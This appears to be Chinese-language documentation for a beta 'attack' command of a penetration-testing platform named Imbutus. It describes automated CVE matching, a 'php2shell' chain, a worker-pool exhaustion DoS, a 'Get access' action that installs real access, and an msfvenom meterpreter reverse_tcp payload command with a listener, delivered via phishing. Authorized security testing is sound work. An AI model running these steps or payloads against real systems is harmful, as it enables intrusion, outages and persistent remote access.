Imbutus
← 文档

Attack 命令 测试版

发送 `attack #<handle>`——漏洞句柄(`#wprfsn`,显示在卡片上并由 list_vulnerabilities 返回)。一次运行只证明一个向量(非破坏性 PoC)并写入报告。裸 `attack <目标>` 会被拒绝:那会一次跑所有向量。

这些命令是新的,可能存在缺陷。

  • attack:<target>

    从共享发现数据库中读取 OSINT、侦察和 Web 命令收集到的关于目标的一切,将检测到的技术栈与平台的漏洞/利用数据库(NVD + Exploit-DB + CISA KEV,每 6 小时更新)对照以匹配 CVE 和公开 PoC,然后把每个可利用的可能性转化为已确认的漏洞,附带可用的非破坏性概念验证——并生成面向客户的报告,为每个发现提供可复现的攻击。

    findingssqlmapjwt_toolgit-dumperwebfetchnuclei

    工作原理

    #步骤作用
    1phpcustomPHP 识别、版本标签、SAPI 与 upload-progress 姿态
    2php_sink主动 include/LFI 探测——只有存在缺口时才报告 php2shell 向量
    3php_probe配置探测:memory_limit、max_input_vars、会话
    4php2shell_chain受门控的链尝试——无缺口 CVE 路径
    5sqlmapSQL injection confirmation
    6param_scancustom按参数的主动探测:SQLi、XSS、命令注入、LFI/RFI、跳转
    7authz_scancustom授权:访客与会话对比、跨对象读取(IDOR 候选)
    8content_scancustom隐藏文件:备份、.git、.env、管理面板
    9jwt_toolWeak / default JWT signing keys
    10git-dumperRecover a .git repository
    11webfetchcustomRendered page fetch (headless browser)
    12nucleiKnown-CVE template scan

php2shell:两种不同的链,两种不同的结论

这个名字涵盖两件事。一件今天已证明;另一件是 CVE 路径,仍卡在内存泄漏上,那里只能说“已发现,未证明”。

  • 目标已记录 sink → 先用 A:几秒,无需偏移量,修补过的 PHP 也能用
  • 无 sink、mod_php prefork、未修补 → B
  • 无 sink、FPM → C,只报告可用性
  • 一条链绝不继承另一条链的结果

php2shell:三条链 — 同一份公告,三种不同的攻击。目标条件不同,能证明的东西也不同。

让站点下线(可用性)

php2shell 的两个 CVE 结果取决于 SAPI。mod_php 下工作进程存活,链式攻击指向代码执行;PHP-FPM 下内存耗尽的致命错误会结束处理该请求的工作进程,于是同一个请求变成可用性测试:N 个并发请求清空 pm.max_children = N 的进程池,持续发送则一直为空。

N 个并发请求清空大小为 N 的进程池,持续发送则一直为空。

只有该结论成立的类别(php2shell / PHP CVE 行)才会在卡片上显示 DoS 按钮。它从不被称为入侵:没有 shell、没有数据、没有持久化,已修补的构建会返回 200。

所需条件:开启 session.upload_progress;请求体大于 memory_limit;post_max_size 与任何代理体积上限都要高于该请求体;FPM 进程池较小;运行时未修补。若边界截断了请求体,该步骤会报告 no-effect,这就是答案。

标记为 “custom” 的步骤是我自研的工具,由我为这个平台开发。其余均为第三方工具。

attack 作用于漏洞列表

每个发现都是「漏洞」标签下带句柄的实体。`attack #handle` 证明该条并把判定写回它;若不成立,下一条获得自己的攻击运行——队列是一串攻击,每条一个向量。

一个发现上的两个动作

`Attack #handle` 复现该发现并把判定写回它:exploited、blocked(未证明,并说明原因)或 false positive。

`Get access #handle` 是另一种结果:复现后安装并验证真实访问。两者都是卡片上的按钮,卡片显示每次尝试及其步骤与进度。

一次运行一个向量——由什么决定

执行哪些步骤由漏洞 CLASS 按注册表决定:php2shell → `php, php_sink, php_probe, php2shell_chain`;sqli → `sqlmap`;xss/lfi/rce/redirect → `param_scan`;idor → `authz_scan`;csrf/upload → `content_scan`;jwt/session → `jwt_tool`;secret → `git-dumper`;CVE → `nuclei`。

可手工收窄:`--steps a,b`(例如 `attack #handle --steps php2shell_chain`)。代码是封闭词表:未知代码会被拒绝并给出有效清单。尚未映射的类别仍运行一个通用向量(`webfetch`)加指令与该类打法——绝不一次跑所有向量。

表中列出的是平台的步骤,而不是漏洞。每次攻击运行就是其中一个步骤,由该发现的类别选择。类别暂无对应步骤的发现,仍然出现在目标的「漏洞」标签页,并且仍然会被攻击——用通用向量加该类打法。

以技术名发起的请求

把技术与目标一起说出来,就按同样的两步顺序执行——不爬取、不跑扫描器、不即兴发挥。`hack with php2shell example.com`(以及 `check php2shell for <target>`)会依次执行:

  1. 侦察,只跑 php2shell 的步骤——php(版本标签、SAPI、upload-progress 姿态)、php_sink(主动 include/LFI 探测)与 php_probe(memory_limit 边界、max_input_vars 上限、会话可写性)。其他都不跑:不爬取、不跑 nuclei、不跑 sqlmap、不扫端口。
  2. 针对记录结果的攻击——只有在存在 php2shell 记录时(CVE-2026-109618 / CVE-2026-109619 候选,或 php2shell 向量)。攻击运行自己走这条路线:无缺口链路仅在 php_probe 判定值得尝试时运行;upload-progress + include 路径仅在 php_sink 找到缺口时运行。非 PHP 目标、或没有任何记录的目标会中止该序列——回复里会直说。
  3. 要证明,不要形容词——版本匹配、内存 fatal、被杀掉的 worker 都不是代码执行。只有带真实输出的 PROOF 行(uid=、hostname、在目标上写下的文件)才算,且在拿到它之前该发现保持 candidate。

植入体(payload 机制)

需要植入体时由 attack 运行生成 — 没有独立命令:`msfvenom -p <os>/x64/meterpreter/reverse_tcp LHOST=<lhost> LPORT=<lport> -f <exe|elf|macho> -o /root/payload/<os>-<lport>`,配 `multi/handler` 监听,产物登记到发现库。

平台只生成文件:不投递、不执行。从机器卡片下载(或 `scp`),经授权渠道投递——受批准的演练用 phishing 命令——然后在 pod 上启动监听。

决定成败的三点:`lhost` 必须能从受害端访问(pod 公网 IP、云防火墙放行端口);原始 msfvenom 二进制会被 Defender/SmartScreen 标记;iOS 不在范围内。

列表

用 attack --list <名称> 让 attack 指向整个已保存的列表(recon 运行后的结果列表),逐个确认其中的每个目标。

Kali 主机

该命令需要一台正在运行的 Kali Linux 主机——利用工具集(sqlmap、jwt_tool、dalfox、git-dumper、nuclei)已预装。请在 Virtual Machines 部分租用一台。

多台主机

有多台主机?加上 --machine <名称>(或 -m <名称>)——例如 attack example.com --machine kali-1——即可将所有命令固定到该主机。

报告

每次 attack 运行都会将完整报告保存到你的 Kali 主机文件中(位于 /root/attack/),并在回复中给出确切路径和下载链接。